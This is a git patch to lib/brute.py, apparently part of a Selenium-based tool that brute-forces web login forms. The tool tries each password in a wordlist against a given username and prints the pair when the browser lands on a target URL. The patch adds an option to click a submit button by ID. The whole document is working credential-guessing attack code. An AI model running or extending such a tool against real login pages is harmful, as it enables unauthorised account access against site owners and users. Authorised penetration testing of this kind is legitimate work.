From 3204721ef377f1c6d0e9b499d36c11fa71a4b84b Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Wed, 15 May 2024 22:20:21 +0100 Subject: [PATCH] Update brute.py --- lib/brute.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/brute.py b/lib/brute.py index ff37998..cd3330a 100644 --- a/lib/brute.py +++ b/lib/brute.py @@ -13,7 +13,7 @@ def brute(args): driver = webdriver.Chrome() if args.command == "brute": if args.makepreset: - lib.presets.make_preset(args.presetname,args.browser,str(args.url),args.userfield,args.passwordfield,args.formnumber,args.targeturl) + lib.presets.make_preset(args.presetname,args.browser,str(args.url),args.userfield,args.passwordfield,args.formnumber,args.button,args.targeturl) with open(args.wordlist,"r") as wlist: @@ -23,9 +23,13 @@ def brute(args): ufield.send_keys(args.username) pfield=driver.find_element(By.CSS_SELECTOR, f'[name="{args.passwordfield}"]') pfield.send_keys(line.replace("\n","")) - forms=driver.find_elements(By.TAG_NAME,"form") - form=forms[int(args.formnumber)] - form.submit() + if args.formnumber: + forms=driver.find_elements(By.TAG_NAME,"form") + form=forms[int(args.formnumber)] + form.submit() + else: + btn=driver.find_element(By.ID, args.button) + btn.click() time.sleep(1) if driver.current_url.startswith(args.targeturl): print(f"{args.username} : {line}")